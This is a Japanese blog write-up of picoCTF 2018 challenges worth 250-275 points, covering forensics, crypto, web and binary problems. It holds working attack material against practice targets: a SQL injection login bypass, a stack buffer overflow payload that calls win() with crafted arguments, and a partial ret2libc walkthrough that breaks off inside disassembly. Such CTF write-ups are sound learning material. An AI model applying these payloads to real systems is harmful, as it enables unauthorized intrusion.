好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2018 250~275pt問題のwrite-up

picoCTF 2018 の write-up 250~275点問題編。200点問題まではこちら。

kusuwada.hatenablog.com

kusuwada.hatenablog.com

問題も複雑になってくることもあり、英語の問題の読解力が問われる…。そして、200pt問題にもましてサクッと解ける問題と時間がかかる問題が別れてきた印象。
でもやっぱりBinary/Reversing問題が点数に対してめちゃむずい気がするのは、私が全然触っていなかった領域だから?解けている人も少ないような。
今回、最後の方の Binary 系問題で初めて、 python の pwntool 使ってみました。超便利!
そして相変わらず、radare2も超便利!!アセンブラを眺めて「おっ、ここの挙動ループ処理っぽいな!」なんてやってたのが、可視化されて出力していただける…。控えめに言って神。

275ptまでを終えると、スコアは10110pt(bin!)。1000番台になりました。まだまだ上はたくさんいますねぇ。

f:id:kusuwada:20190312122514p:plain

[Web] Buttons (250pt)

There is a website running at http://2018shell.picoctf.com:65107 (link). Try to see if you can push their buttons.

指定されたURLに飛ぶと、こんなページが。

f:id:kusuwada:20190312122557p:plain

ボタンがあるなら押して見る。とこんなページに飛ぶ。

f:id:kusuwada:20190312122627p:plain

今度はリンク。今度は押すとこんなページに飛んだ。

f:id:kusuwada:20190312122641p:plain

動画が流れている。テキストは

Button2: ACCESS DENIED FORM DISABLED. THIS INCIDENT HAS BEEN LOGGED AND REPORTED TO /dev/null

だそうです。

Button1とButton2のソースを比較してみると、Button1のボタン部分は

<form action="button1.php" method="POST">
    <input type="submit" value="PUSH ME! I am your only hope!"/>
</form>

Button2は、FORM DISABLED. のところが実はformになっている。

<form action="button2.php" method="POST">
    FORM DISABLED. THIS INCIDENT HAS BEEN LOGGED AND REPORTED TO /dev/null                  
</form>

が、input typeの指定がないためPOSTがブラウザからではできず、ボタンとして機能していないように見える。
問題文に、"Try to see if you can push their buttons" とあるので、POST method を呼んであげて、Button2を機能させれば良いのかな。
今回POSTに詰めるデータは不要なので、シンプルですがこんな感じ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests

url = "http://2018shell.picoctf.com:65107/button2.php"

r = requests.post(url)
print(r.text)

実行結果

$ python solve.py 
Well done, your flag is: picoCTF{button_button_whose_got_the_button_91f6f39a}

[Forensics] Ext Super Magic (250pt)

We salvaged a ruined Ext SuperMagic II-class mech recently and pulled the filesystem out of the black box. It looks a bit corrupted, but maybe there's something interesting in there. You can also find it in /problems/ext-super-magic_0_621bc2a94057a3e5a0aa0816da3fe8fb on the shell server.

破損したimage(filesystem)を救済せよ、という問題っぽい。DLしたfilesystemはこちら

$ file ext-super-magic.img 
ext-super-magic.img: data

ただのdataとのこと。拡張子的に .img だし、問題文的にも image なんだろうけど、多分ヘッダ部分が壊れていて識別できない様子。 なんとなくforemostで分解してみると、こんな感じでjpg画像がずらーーーっと50枚。

f:id:kusuwada:20190312123339p:plain

それぞれのイメージに時々、破損しているが Your flag is in another file と書いてある。
が、それ以上の情報が得られなかったので Hint を見てみる。

  • Are there any tools for diagnosing corrupted filesystems? What do they say if you run them on this one?
  • How does a linux machine know what type of file a file is?
  • You might find this doc helpful.
  • Be careful with endianness when making edits.
  • Once you've fixed the corruption, you can use /sbin/debugfs to pull the flag file out.

使ったことのないツールやドキュメントへのリンクが沢山。

1つ目と3つ目のヒントから、ext2という形式のimageが破損しているっぽくって、fsckというツールで何やらチェックできるっぽい、と予測。fsck ext2 で検索してみると、こんなman pageが。
fsck.ext2(8): check ext2/ext3/ext4 file system - Linux man page

fsck.ext2 を使ってチェックしてみます。

# fsck.ext2 ./ext-super-magic.img 
e2fsck 1.44.5 (15-Dec-2018)
ext2fs_open2: Bad magic number in super-block
fsck.ext2: Superblock invalid, trying backup blocks...
fsck.ext2: Bad magic number in super-block while trying to open ./ext-super-magic.img

The superblock could not be read or does not describe a valid ext2/ext3/ext4
filesystem.  If the device is valid and it really contains an ext2/ext3/ext4
filesystem (and not swap or ufs or something else), then the superblock
is corrupt, and you might try running e2fsck with an alternate superblock:
    e2fsck -b 8193 <device>
 or
    e2fsck -b 32768 <device>

ふむふむ。Bad magic number in super-block とのことです。なにやらこれやってみたら?と言われているのでやってみます。

# e2fsck -b 8193 ./ext-super-magic.img 
e2fsck 1.44.5 (15-Dec-2018)
e2fsck: Attempt to read block from filesystem resulted in short read while trying to open ./ext-super-magic.img
Could this be a zero-length partition?
# e2fsck -b 32768 ./ext-super-magic.img 
e2fsck 1.44.5 (15-Dec-2018)
e2fsck: Attempt to read block from filesystem resulted in short read while trying to open ./ext-super-magic.img
Could this be a zero-length partition?

うーん、失敗したみたい。壊れているというよりは、0埋めになってるから修復もクソもないぜって感じなんだろうか。

FILE SIGNATURE TABLE のページでは、今回のファイル形式のものが見つからず。
The Second Extended File System こっちの方に、ext2のmagic numberとsuper-blocksについての説明が。

16bit value identifying the file system as Ext2. The value is currently fixed to EXT2_SUPER_MAGIC of value 0xEF53. The superblock is always located at byte offset 1024 from the beginning of the file, block device or partition formatted with Ext2 and later variants (Ext3, Ext4). Offset (bytes) Size (bytes) Description 56 2 s_magic

ということで、super-blockの、offset 56 に magic 0xef53 が来るはずらしい。little endianなので 53 ef かな。更に、super-block自体のoffsetは1024とのこと。

バイナリの書き換えは、使い慣れているMacのバイナリ編集アプリ HEX を使用。

f:id:kusuwada:20190312123405p:plain

対象のoffsetは 1024 + 56 = 1080 -> 0x438
ここを 53 ef に書き換えて保存。
保存したあとのファイルを見てみると

$ file fixed_ext-super-magic.img 
fixed_ext-super-magic.img: Linux rev 1.0 ext2 filesystem data, UUID=9a8b8c68-1f83-4b78-8a67-bd9843ea3e13 (large files)

おお、ちゃんとimageとして認識されました。
ここから、ヒントの最後にあった debugfs を使って flag file があるらしいので探してみます。

# debugfs fixed_ext-super-magic.img 
debugfs 1.44.5 (15-Dec-2018)
debugfs:  ls
~~中略~~
436  (24) filler-471.jpg    439  (16) flag.jpg    506  (24) filler-347.jpg   
 512  (480) filler-302.jpg    55  (24) filler-147.jpg   
 128  (24) filler-182.jpg    170  (24) filler-473.jpg 
~~略~~

ということで、よーく見ないと気づきませんでしたが、flag.jpg というのがいらっしゃいます!このファイルをdumpして書き出してあげます。

debugfs:  dump flag.jpg flag.jpg
debugfs:  q
# ls
ext-super-magic.img  fixed_ext-super-magic.img  flag.jpg

flag.jpgが出力されました!こんなのでした。小さくflagが書いてあります٩(๑❛ᴗ❛๑)۶
新しいツールやサイトをたくさん触れてよかった!今までは割とその場限りのググったりバイナリいじったりで終わっていたけど、これくらいしっかりヒントが有ると、道を外れず王道の解き方(多分)ができて良い!!

[Forensics] Lying Out (250pt)

Some odd traffic has been detected on the network, can you identify it? More info here. Connect with nc 2018shell.picoctf.com 2245 to help us answer some questions.

てっきり traffic のリンクからパケットキャプチャがDLできると思ってたら、以下のpngファイルだった。

f:id:kusuwada:20190312123455p:plain

グラフからは、3回ほどトラフィック(IP数)のピークがあったことがわかる。正直それくらいしかわからん。
more info here, とのことなので、そこから下記の info.txt をDLできる。

You've been given a dataset of 4800 internet traffic logs for your organization's website. This dataset covers the number of unique IP addresses sending requests to the site in 15-minute "buckets", across a 24-hour day. The attached plot will help you see the daily pattern of traffic. You should see 3 spikes of traffic: one in the morning, one at midday, and one in the evening.

Your organization needs your help to figure out whether some recent activity indicates unusual behavior. It looks like some logs have higher-than-usual traffic in their time bucket: many more unique IP addresses are trying to access the site than usual. This might be evidence that someone is trying to do something shady on your site.

ふむ。

次に指定されたホストにncしてみる。

$ nc 2018shell.picoctf.com 2245
You'll need to consult the file `traffic.png` to answer the following questions.


Which of these logs have significantly higher traffic than is usual for their time of day? You can see usual traffic on the attached plot. There may be multiple logs with higher than usual traffic, so answer all of them! Give your answer as a list of `log_ID` values separated by spaces. For example, if you want to answer that logs 2 and 7 are the ones with higher than usual traffic, type 2 7.
    log_ID      time  num_IPs
0        0  00:30:00    10436
1        1  00:45:00    10318
2        2  06:45:00    11569
3        3  09:00:00     9637
4        4  10:00:00    11663
5        5  10:30:00     9751
6        6  12:00:00    15219
7        7  12:00:00    13390
8        8  14:45:00     9694
9        9  15:30:00    11550
10      10  17:15:00    10089
11      11  21:00:00     9722
12      12  21:30:00    10283
13      13  22:45:00    11591

ほうほう。ここまで読んで初めて問題がわかるんだ。traffic.pngは通常時のトラフィックをプロットしています。これと比較して、サイトが提示したトラフィックからイレギュラーなもの(LogID)を答えてね、という話らしい。

割と時間にゆとりがあるみたいだったので、目視で解いた。グラフから割と外れているリクエスト数のある番号を答えていく。
下記は上の通信の続き。2 4 9 13 をinputで入れた。

2 4 9 13 
Correct!


Great job. You've earned the flag: picoCTF{w4y_0ut_04c41b59}

[Crypto] Safe RSA (250pt)

Now that you know about RSA can you help us decrypt this ciphertext? We don't have the decryption key but something about those values looks funky..

DLした ciphertext はこちら。

N: 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811
e: 3

ciphertext (c): 2205316413931134031046440767620541984801091216351222789180593875373829950860542792110364325728088504479780803714561464250589795961097670884274813261496112882580892020487261058118157619586156815531561455215290361274334977137261636930849125 

eが非常に小さいと、Low Public-Exponent Attack の手法が使えます。前もお世話になったこちらを参考に。

Low Public-Exponent Attack - akashisnの日記

暗号文cが以下で与えられており、 c ≡ me mod n mについて以下の条件を満たす時、 m < nのe乗根 mod nの影響を受けないので、 m = cのe乗根 cのe乗根を取るとmが求まる。

#!/usr/bin/env python3

import gmpy2

e = 3
c = 2205316413931134031046440767620541984801091216351222789180593875373829950860542792110364325728088504479780803714561464250589795961097670884274813261496112882580892020487261058118157619586156815531561455215290361274334977137261636930849125

m, result = gmpy2.iroot(c,e)
if result:
    flag = bytes.fromhex(hex(m)[2:]).decode('ascii')
    print(flag)

実行結果

$ python solve.py 
picoCTF{e_w4y_t00_sm411_9f5d2464}

[Web] The Vault (250pt)

There is a website running at http://2018shell.picoctf.com:49030 (link). Try to see if you can login!

ログインしてみなっ!て問題かな。
指定されたurlに飛んでみると、こんなページが表示されました。

f:id:kusuwada:20190312123558p:plain

おや、下の方に login.phpソースコードへのリンクが。

<?php
  ini_set('error_reporting', E_ALL);
  ini_set('display_errors', 'On');

  include "config.php";
  $con = new SQLite3($database_file);

  $username = $_POST["username"];
  $password = $_POST["password"];
  $debug = $_POST["debug"];
  $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";

  if (intval($debug)) {
    echo "<pre>";
    echo "username: ", htmlspecialchars($username), "\n";
    echo "password: ", htmlspecialchars($password), "\n";
    echo "SQL query: ", htmlspecialchars($query), "\n";
    echo "</pre>";
  }

  //validation check
  $pattern ="/.*['\"].*OR.*/i";
  $user_match = preg_match($pattern, $username);
  $password_match = preg_match($pattern, $username);
  if($user_match + $password_match > 0)  {
    echo "<h1>SQLi detected.</h1>";
  }
  else {
    $result = $con->query($query);
    $row = $result->fetchArray();
    
    if ($row) {
      echo "<h1>Logged in!</h1>";
      echo "<p>Your flag is: $FLAG</p>";
    } else {
      echo "<h1>Login failed.</h1>";
    }
  }
  
?>

注目すべきは $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'"; ですね。SQL injectionの脆弱性がありそうです。
Usernameに admin'-- を入れたところ、Loginに成功、Flagが取れました!

f:id:kusuwada:20190312123616p:plain

[Forensics] What's My Name? (250pt)

Say my name, say my name.

リンクから下記ファイルをDL。今度こそパケットキャプチャファイルが落ちてきました。wiresharkで開いてみます。
...うわー6,000行あるよー。

ということで、ちょっとずるいですがパケット解析はせずに下記コマンドを。

$ strings myname.pcap | grep pico
76picoCTF{w4lt3r_wh1t3_33ddc9bcc77f22a319515c59736f64a2}

ちなみに、wireshark上でも、DNS プロトコルの通信でフィルタすると、L55 がHitし、そこにFlagがありました!

f:id:kusuwada:20190312123658p:plain

[General] absolutely relative (250pt)

In a filesystem, everything is relative ¯_(ツ)_/¯. Can you find a way to get a flag from this program? You can find it in /problems/absolutely-relative_3_c1a43555f1585c98aab8d5d2c7f0f9cc on the shell server. Source.

DLしたファイルを確認。実行ファイルはこちら。

$ file absolutely-relative
absolutely-relative: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=684fd61c75d0d4b0f19981366982f09247f797e8, not stripped

ソースはこちら。

#include <stdio.h>
#include <string.h>

#define yes_len 3
const char *yes = "yes";

int main()
{
    char flag[99];
    char permission[10];
    int i;
    FILE * file;


    file = fopen("/problems/absolutely-relative_3_c1a43555f1585c98aab8d5d2c7f0f9cc/flag.txt" , "r");
    if (file) {
        while (fscanf(file, "%s", flag)!=EOF)
        fclose(file);
    }   
    
    file = fopen( "./permission.txt" , "r");
    if (file) {
        for (i = 0; i < 5; i++){
            fscanf(file, "%s", permission);
        }
        permission[5] = '\0';
        fclose(file);
    }
    
    if (!strncmp(permission, yes, yes_len)) {
        printf("You have the write permissions.\n%s\n", flag);
    } else {
        printf("You do not have sufficient permissions to view the flag.\n");
    }
    
    return 0;
}

flag.txtがpicoCTFのshell上にあるので、picoCTFのshellで実施します。

$ ./absolutely-relative                                                                                                               
You do not have sufficient permissions to view the flag. 

このままでは実行できないみたいです。

プログラムを読んでみます。

  • flag.txtの読み込み -> flag
  • ./permission.txt の読み込み -> permission[5]
  • permissionyes="yes" との比較
  • 比較の結果正しければ flag を表示

どうやら permission.txt というのを実行ディレクトリに置く必要がありそう。
しかしpicoCTFのshell serverの実行ファイルのあるdirectoryには、あたらしくfileを作成する権限がありません。
ソースを良く見てみる&タイトルを考えると、flag.txt が絶対パスなのに対して、permission.txtが相対パスなのが鍵。
shell server上のどこでこのプログラムを動かしても、flag.txtは絶対パスで指定されているので、正しいところから読んでくれそうです。permission.txtを配置できる場所で実行させることで無事解決しそう。

$ cd /tmp
$ mkdir tmpkusuwada
$ cd tmpkusuwada
$ touch permission.txt

お!/tmp ファイル配下に、permission.txtを作成できました!

$ echo "yes" > permission.txt
$ /problems/absolutely-relative_3_c1a43555f1585c98aab8d5d2c7f0f9cc/absolut
ely-relative                                                                                                    
You have the write permissions.                                                                                 
picoCTF{3v3r1ng_1$_r3l3t1v3_6193e4db}                                     

[Reversing] assembly-2 (250pt)

What does asm2(0x8,0x21) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-2_1_c1900e7d33989b0191c51ef927b24f37.

与えられたソースはこちら。

.intel_syntax noprefix
.bits 32
    
.global asm2

asm2:
    push    ebp
    mov     ebp,esp
    sub     esp,0x10
    mov     eax,DWORD PTR [ebp+0xc]
    mov     DWORD PTR [ebp-0x4],eax
    mov     eax,DWORD PTR [ebp+0x8]
    mov DWORD PTR [ebp-0x8],eax
    jmp     part_b
part_a: 
    add     DWORD PTR [ebp-0x4],0x1
    add DWORD PTR [ebp+0x8],0xa9
part_b: 
    cmp     DWORD PTR [ebp+0x8],0x3923
    jle     part_a
    mov     eax,DWORD PTR [ebp-0x4]
    mov esp,ebp
    pop ebp
    ret

あれ、こっちのほうが assembly-1 より短くない?
(0x8,0x21)の入力で何が出力されるか?という問題。

.intel_syntax noprefix
.bits 32
    
.global asm2

asm2:
    push    ebp                      # base pointer を stackの一番上に
    mov     ebp,esp                  # stack pointer を ebp に追従
    sub     esp,0x10                 # stack pointer を 0x10 ひく
    mov     eax,DWORD PTR [ebp+0xc]  # eaxに 0x21 を代入
    mov     DWORD PTR [ebp-0x4],eax  # ebp-0x4 に eax (0x21) を代入
    mov     eax,DWORD PTR [ebp+0x8]  # eax に 0x8 を代入
    mov     DWORD PTR [ebp-0x8],eax  # ebp-0x8 に eax (0x8) を代入
    jmp     part_b                   # part_b へ飛ぶ
part_a: 
    add     DWORD PTR [ebp-0x4],0x1  # ebp-0x4(0x21) に 0x1 を足す -> ebp-0x4 = 0x22
    add     DWORD PTR [ebp+0x8],0xa9 # ebp+0x8(0x8) に 0xa9 を足す -> 0xb1 ※1
part_b: 
    cmp     DWORD PTR [ebp+0x8],0x3923  # 0x8 と 0x3923 を比較
    jle     part_a                      # 0x8のほうが小さいので、part_aへ飛ぶ
    mov     eax,DWORD PTR [ebp-0x4]
    mov esp,ebp
    pop ebp
    ret

※1 のあと、part_b に戻り、 cmp DWORD PTR [ebp+0x8],0x3923true になるまで繰り返します。
0x80xa9 を足していき、 0x3923 になるまで続けると、ebp-0x40x210x1 を足していき、最終的に 0x21 +0x57 = 0x78 になります。
この値がretになるので、答えは0x78

[Binary] buffer overflow 2 (250pt)

Alright, this time you'll need to control some arguments. Can you get the flag from this program? You can find it in /problems/buffer-overflow-2_4_ca1cb0da49310dd45c811348a235d257 on the shell server. Source.

実行ファイルはこちら。

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f2f6cce698b62f5109de9955c0ea0ab832ea967c, not stripped

ソースはこちら。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xDEADC0DE)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

今回もプログラム中から flag.txt を読み出して表示するので、picoCTFのshell server上で実行する。

$ cd /problems/buffer-overflow-2_4_ca1cb0da49310dd45c811348a235d257       
$ ls                    
flag.txt  vuln  vuln.c

よしよし。ちゃんとflag.txtある。
mainからソースを読んでみます。mainの中では、 vuln() 関数を呼び出し、vuln関数の中ではbuffer(size=100)にユーザー入力を格納。bufferを出力しておしまい。
肝心のflagを出力する関数 win はcallされないようです。
更に win() 関数を呼ばれた場合、arg1, arg2、2つの引数を渡して上げる必要があるようです。しかもこの引数がそれぞれ 0xDEADBEEF, 0xDEADC0DE に等しいときに限り、flagが表示されるようです。

今回のミッションは、vuln()関数のinput入出力時にBufferOverflowさせ、win()関数を正しい引数付きで呼び出す、です。

$ objdump -d vuln | grep win
080485cb <win>:
 80485ed:   75 1a                   jne    8048609 <win+0x3e>
 8048624:   75 1a                   jne    8048640 <win+0x75>
 804862d:   75 14                   jne    8048643 <win+0x78>
 804863e:   eb 04                   jmp    8048644 <win+0x79>
 8048641:   eb 01                   jmp    8048644 <win+0x79>

win()関数のアドレスは 0x080485cb
vuln()関数の内訳はこんな感じ。

08048646 <vuln>:
 8048646:   55                      push   %ebp               # base pointer を stackの一番上に
 8048647:   89 e5                   mov    %esp,%ebp          # stack pointer を ebpに追従
 8048649:   83 ec 78                sub    $0x78,%esp         # esp を 0x78(=120d) 上に
 804864c:   83 ec 0c                sub    $0xc,%esp          # esp を更に 0xc(=12d) 上に
 804864f:   8d 45 94                lea    -0x6c(%ebp),%eax   # ebp-0x6c(=108d) にeaxを格納
 8048652:   50                      push   %eax               # eax を stackの一番上に
 8048653:   e8 d8 fd ff ff          call   8048430 <gets@plt> # gets関数をcall
 8048658:   83 c4 10                add    $0x10,%esp         # esp を 0x10(=16d) 下に
 804865b:   83 ec 0c                sub    $0xc,%esp          # esp を 0xc(=12d) 上に
 804865e:   8d 45 94                lea    -0x6c(%ebp),%eax   # ebp-0x6c(=108d) にeaxを格納
 8048661:   50                      push   %eax               # eax を stackの一番上に
 8048662:   e8 f9 fd ff ff          call   8048460 <puts@plt> # puts関数をcall
 8048667:   83 c4 10                add    $0x10,%esp         # espを 0x10(=12d) 下に
 804866a:   90                      nop
 804866b:   c9                      leave  
 804866c:   c3                      ret

これらの情報から、適当な文字列(a)で (108 + 4 = 112) を埋めてやります。
このあと、win()関数のアドレスを、リトルエンディアンで入れます。(\xcb\x85\x04\x08)
更に、win()関数の return address の4バイトを適当な文字列(a)で埋めます。
そこから同様に引数をリトルエンディアンで詰めます。(\xef\xbe\xad\xde, \xde\xc0\xad\xde)
今回は手作業で作りました(ノ≧ڡ≦)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x85\x04\x08aaaa\xef\xbe\xad\xde\xde\xc0\xad\xde

この文字列を、buffer overflow 1と同じ方法で送り込んでやります。

$ echo -e "aaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x85\x04\
x08aaaa\xef\xbe\xad\xde\xde\xc0\xad\xde" | ./vuln
Please enter your string:                                                                                       
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
˅aaaaᆳ-                                                                                                         
picoCTF{addr3ss3s_ar3_3asy30723282}Segmentation fault (core dumped)

[Crypto] caesar cipher 2 (250pt)

Can you help us decrypt this message? We believe it is a form of a caesar cipher. You can find the ciphertext in /problems/caesar-cipher-2_3_4a1aa2a4d0f79a1f8e9a29319250740a on the shell server.

シーザー暗号の一種のつもり、らしい。

$ cat ciphertext 
4-'3evh?'c)7%t#e-r,g6u#.9uv#%tg2v#7g'w6gA

落としてきた暗号文はこちら。やけに記号が多い…。ということは、記号も含めてなん文字かシフトさせる暗号っぽい。
どうやって辞書を作るかは、とりあえず記号やアルファベット・数字を組み合わせて作るのもありだけども、考える組み合わせが多すぎるなーとおもってヒントを見てみる。

You'll have figure out the correct alphabet that was used to encrypt the ciphertext from the ascii character set ASCII Table

おお、これは大ヒント!ASCII Tableから辞書を作れば良さそう!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string

cipher = "4-'3evh?'c)7%t#e-r,g6u#.9uv#%tg2v#7g'w6gA"

all_strings = []
start_index = 32 # space
end_index = 125  # }

# create ascii table
for i in range(end_index + 1 - start_index):
    print(chr(start_index + i))
    all_strings.append(chr(start_index + i))

def ceaser(shift, c):
    return all_strings[(all_strings.index(c) + shift) % len(all_strings)]

for shift in range(len(all_strings)):
    plain = ""   
    for c in cipher:
        plain += ceaser(shift, c)
    print(plain)

どこからどこまでを辞書の範囲とするかは、実行結果を見てちょいと調節しました。
実行結果

$ python solve.py | grep pico
picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}

[Binary] got-2-learn-libc (250pt)

This program gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1 on the shell server. Source.

なんか解けた人少なめだし、Binaryだし、最初からヒントも見る!

try returning to systems calls to leak information don't forget you can always return back to main()

DLできるファイルは、実行ファイルとcのソース。

$ file vuln
vuln: ELF 32-bit LSB shared object Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4e901d4c8bdb0ea8cfd51522376bea63082a2734, not stripped
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */


void vuln(){
  char buf[BUFSIZE];
  puts("Enter a string:");
  gets(buf);
  puts(buf);
  puts("Thanks! Exiting now...");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  puts("Here are some useful addresses:\n");

  printf("puts: %p\n", puts);
  printf("fflush %p\n", fflush);
  printf("read: %p\n", read);
  printf("write: %p\n", write);
  printf("useful_string: %p\n", useful_string);

  printf("\n");
  
  vuln();

  
  return 0;
}

systemcallのアドレスをいくつか返すので、shellを取ってみなさい、という問題。
systemcallがらみだし、picoCTFのshell serverで実行してみます。指定されたディレクトリに行くと、flag.txtも落ちてました。systemcallを呼び出し、flag.txtを表示させる問題っぽい。

$ ./vuln                 
Here are some useful addresses:                                                                                 
                                                                                                                
puts: 0xf7645140                                                                                                
fflush 0xf7643330                                                                                               
read: 0xf76ba350                                                                                                
write: 0xf76ba3c0                                                                                               
useful_string: 0x56574030                                                                                       
                                                                                                                
Enter a string:                                                                                                 
aaaaaaaaaaaaaaaaaaa                                                                                             
aaaaaaaaaaaaaaaaaaa                                                                                             
Thanks! Exiting now...

実行すると、いくつかsystemcallのアドレスっぽいものが出力され、その後自由に文字列を入力できるようです。文字列入力部分は vuln() 関数。BUFSIZEが148なので、これを超えるとBuffer Overflowする。
ちなみに、実行するたびに各関数のアドレスの値が変わります。
最後の useful_strings だけ systemcall 関数とは関係ないですが、これは vuln.c の中で定義している値。ここに "/bin/sh" の文字列が格納されており、ソースコードには "sellを取るのに使えるかも?" というヒントが書いてあります。

このあたりのワードで検索してみると、下記の記事が引っかかりました。ksnctf の @kusano_k さんの katagaitai CTF勉強会 の記事でした。

katagaitai CTF勉強会の宿題 - Qiita

まさにこれの問1ととても似ていそう。
アドレスが毎回変わっているのは、ASLRという仕組みのせいらしい。
しかし、この仕組でlibcの位置が変わっても、各関数と system の相対位置は変わらないので、各関数のアドレスから system のアドレスを計算できるらしい。

libc address search とかで検索すると、下記サイトが。ここでlibcのバージョンを検索したり、各関数のアドレスを調べられる。ちなみに、アドレスは下三桁を入れるらしい。

libc.blukat.me

検索結果

libc database search

ということで、fflush と system のアドレスの差は 0x229f0

あとは、BufferOverflowでどこで何を書けばsystem関数を呼び出せるのか。
ちょっと長いですが、アセンブラ。今回もradare2を使いました。main関数とvuln関数。

[0x565b6803]> pdf
            ;-- main:
/ (fcn) sym.main 256
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_ch @ ebp-0xc
|           ; var int local_8h @ ebp-0x8
|           ; arg int arg_4h @ esp+0x4
|           0x565b6803      8d4c2404       lea ecx, dword [arg_4h]     ; 4
|           0x565b6807      83e4f0         and esp, 0xfffffff0
|           0x565b680a      ff71fc         push dword [ecx - 4]
|           0x565b680d      55             push ebp
|           0x565b680e      89e5           mov ebp, esp
|           0x565b6810      53             push ebx
|           0x565b6811      51             push ecx
|           0x565b6812      83ec10         sub esp, 0x10
|           0x565b6815      e856feffff     call sym.__x86.get_pc_thunk.bx
|           0x565b681a      81c3e6170000   add ebx, 0x17e6
|           0x565b6820      8b83f0ffffff   mov eax, dword [ebx - 0x10]
|           0x565b6826      8b00           mov eax, dword [eax]
|           0x565b6828      6a00           push 0
|           0x565b682a      6a02           push 2                      ; 2
|           0x565b682c      6a00           push 0
|           0x565b682e      50             push eax
|           0x565b682f      e8acfdffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x565b6834      83c410         add esp, 0x10
|           0x565b6837      e884fdffff     call sym.imp.getegid
|           0x565b683c      8945f4         mov dword [local_ch], eax
|           0x565b683f      83ec04         sub esp, 4
|           0x565b6842      ff75f4         push dword [local_ch]
|           0x565b6845      ff75f4         push dword [local_ch]
|           0x565b6848      ff75f4         push dword [local_ch]
|           0x565b684b      e8b0fdffff     call sym.imp.setresgid
|           0x565b6850      83c410         add esp, 0x10
|           0x565b6853      83ec0c         sub esp, 0xc
|           0x565b6856      8d83b8e9ffff   lea eax, dword [ebx - 0x1648]
|           0x565b685c      50             push eax
|           0x565b685d      e8b6fdffff     call fcn.565b6618
|           0x565b6862      83c410         add esp, 0x10
|           0x565b6865      83ec08         sub esp, 8
|           0x565b6868      8b83e4ffffff   mov eax, dword [ebx - 0x1c]
|           0x565b686e      50             push eax
|           0x565b686f      8d83d9e9ffff   lea eax, dword [ebx - 0x1627]
|           0x565b6875      50             push eax
|           0x565b6876      e825fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x565b687b      83c410         add esp, 0x10
|           0x565b687e      83ec08         sub esp, 8
|           0x565b6881      8b83dcffffff   mov eax, dword [ebx - 0x24]
|           0x565b6887      50             push eax
|           0x565b6888      8d83e3e9ffff   lea eax, dword [ebx - 0x161d]
|           0x565b688e      50             push eax
|           0x565b688f      e80cfdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x565b6894      83c410         add esp, 0x10
|           0x565b6897      83ec08         sub esp, 8
|           0x565b689a      8b83d4ffffff   mov eax, dword [ebx - 0x2c]
|           0x565b68a0      50             push eax
|           0x565b68a1      8d83eee9ffff   lea eax, dword [ebx - 0x1612]
|           0x565b68a7      50             push eax
|           0x565b68a8      e8f3fcffff     call sym.imp.printf         ; int printf(const char *format)
|           0x565b68ad      83c410         add esp, 0x10
|           0x565b68b0      83ec08         sub esp, 8
|           0x565b68b3      8b83ecffffff   mov eax, dword [ebx - 0x14]
|           0x565b68b9      50             push eax
|           0x565b68ba      8d83f8e9ffff   lea eax, dword [ebx - 0x1608]
|           0x565b68c0      50             push eax
